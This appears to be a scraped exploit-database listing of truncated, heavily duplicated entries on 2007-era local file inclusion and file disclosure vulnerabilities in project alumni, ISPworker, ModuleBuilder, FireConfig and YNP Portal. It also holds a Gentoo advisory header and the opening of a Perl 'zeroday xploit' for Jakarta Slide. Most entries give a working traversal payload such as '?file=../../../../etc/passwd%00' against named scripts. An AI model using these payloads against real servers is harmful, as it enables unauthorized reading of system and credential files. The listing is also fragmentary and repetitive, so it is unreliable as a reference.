project alumni 1.0.9 - 'index.php?act' Local File Inclusion

project alumni 1.0.9 remote file disclosure vulnerability download : https://sourceforge.net/projects/project-alumni/ vulnerable code on index.php include$SERVER'DOCUMENTROOT' . "/pages/" . $GET'act' . ".page.inc.php"; exploit : http://victim/path/index.php?act=../../../../../../etc/passwd%00...

[ GLSA 200711-17 ] Ruby on Rails: Multiple vulnerabilities

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200711-17 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - -...

YNP Portal System 2.2.0 (showpage.cgi p) Remote File Disclosure

Exploit for cgi platform in category web applications =============================================================== YNP Portal System 2.2.0 showpage.cgi p Remote File Disclosure =============================================================== YNP Portal System 2.2.0 showpage.cgi p Remote File...

ISPworker 1.21 download.php Remote File Disclosure Vulnerability

No description provided by source. ISPworker 1.21 Remote File Disclosure Vulnerability http://ispworker.de/files/ispworker-1.21.tar.gz /module/ticket/download.php?ticketid=../../../../../../../../../etc/passwd%00 /module/ticket/download.php?filename=../../../../../../../../../etc/passwd sebug.net...

ModuleBuilder V1.0 (file) Remote File Disclosure Vulnerability

No description provided by source. ModuleBuilder V1.0 file Remote File Disclosure Vulnerability http://www.sugarforge.org/frs/download.php/1274/installModuleBuilderV1.0.zip /modules/Builder/DownloadModule.php?file=../../../../../../../../etc/passwd%00 sebug.net...

ModuleBuilder 1.0 - file Remote File Disclosure

ModuleBuilder 1.0 - file Remote File Disclosure ModuleBuilder V1.0 file Remote File Disclosure Vulnerability http://www.sugarforge.org/frs/download.php/1274/installModuleBuilderV1.0.zip /modules/Builder/DownloadModule.php?file=../../../../../../../../etc/passwd%00 milw0rm.com 2007-10-31...

Module Builder DownloadModule Traversal Arbitrary File Disclosure

The remote host is running Module Builder, a module for building SugarCRM modules. The version of Module Builder installed on the remote host fails to validate user-supplied input to the 'file' parameter of the 'modules/Builder/DownloadModule.php' script before using it to return the contents of ...

ISPworker 1.21 download.php Remote File Disclosure Vulnerability

Exploit for unknown platform in category web applications ================================================================ ISPworker 1.21 download.php Remote File Disclosure Vulnerability ================================================================ ISPworker 1.21 Remote File Disclosure...

FireConfig 0.5 (dl.php file) Remote File Disclosure Vulnerability

No description provided by source. FireConfig v0.5 dl.php file Remote File Disclosure Vulnerability http://heanet.dl.sourceforge.net/sourceforge/fireconfig/fireconfigv0.5.tar.gz POC : /dl.php?file=../../../../../../etc/passwd%00 sebug.net...

ISPworker 1.21 - download.php Remote File Disclosure

ISPworker 1.21 - download.php Remote File Disclosure ISPworker 1.21 Remote File Disclosure Vulnerability http://ispworker.de/files/ispworker-1.21.tar.gz /module/ticket/download.php?ticketid=../../../../../../../../../etc/passwd%00...

ModuleBuilder 1.0 - 'file' Remote File Disclosure

ModuleBuilder V1.0 file Remote File Disclosure Vulnerability http://www.sugarforge.org/frs/download.php/1274/installModuleBuilderV1.0.zip /modules/Builder/DownloadModule.php?file=../../../../../../../../etc/passwd%00 milw0rm.com 2007-10-31...

ISPworker 1.21 - 'download.php' Remote File Disclosure

ISPworker 1.21 Remote File Disclosure Vulnerability http://ispworker.de/files/ispworker-1.21.tar.gz /module/ticket/download.php?ticketid=../../../../../../../../../etc/passwd%00 /module/ticket/download.php?filename=../../../../../../../../../etc/passwd milw0rm.com 2007-10-31...

ispworker-disclose.txt

ISPworker 1.21 Remote File Disclosure Vulnerability http://ispworker.de/files/ispworker-1.21.tar.gz /module/ticket/download.php?ticketid=../../../../../../../../../etc/passwd%00 /module/ticket/download.php?filename=../../../../../../../../../etc/passwd...

mb-disclose.txt

ModuleBuilder V1.0 file Remote File Disclosure Vulnerability http://www.sugarforge.org/frs/download.php/1274/installModuleBuilderV1.0.zip /modules/Builder/DownloadModule.php?file=../../../../../../../../etc/passwd%00...

ModuleBuilder V1.0 (file) Remote File Disclosure Vulnerability

Exploit for unknown platform in category web applications ============================================================== ModuleBuilder V1.0 file Remote File Disclosure Vulnerability ============================================================== ModuleBuilder V1.0 file Remote File Disclosure...

fireconfig-lfi.txt

FireConfig v0.5 dl.php file Remote File Disclosure Vulnerability http://heanet.dl.sourceforge.net/sourceforge/fireconfig/fireconfigv0.5.tar.gz POC : /dl.php?file=../../../../../../etc/passwd%00...

FireConfig 0.5 (dl.php file) Remote File Disclosure Vulnerability

Exploit for unknown platform in category web applications ================================================================= FireConfig 0.5 dl.php file Remote File Disclosure Vulnerability ================================================================= FireConfig v0.5 dl.php file Remote File...

FireConfig 0.5 - dl.php Remote File Disclosure

FireConfig 0.5 - dl.php Remote File Disclosure FireConfig v0.5 dl.php file Remote File Disclosure Vulnerability http://heanet.dl.sourceforge.net/sourceforge/fireconfig/fireconfigv0.5.tar.gz POC : /dl.php?file=../../../../../../etc/passwd%00 milw0rm.com 2007-10-28...

FireConfig 0.5 - 'dl.php' Remote File Disclosure

FireConfig v0.5 dl.php file Remote File Disclosure Vulnerability http://heanet.dl.sourceforge.net/sourceforge/fireconfig/fireconfigv0.5.tar.gz POC : /dl.php?file=../../../../../../etc/passwd%00 milw0rm.com 2007-10-28...

jakarta-disclose.txt

!/usr/bin/perl Jakarta Slide Remote File Disclosure Zeroday Xploit eliteb0y / 2007 thanx to the whole team & andi : +++KEEP PRIV8+++ This Bug may reside in different WebDav implementations, Warp your mind! +You will need auth for the exploit to work... use IO::Socket; use MIME::Base64; FIXME! May...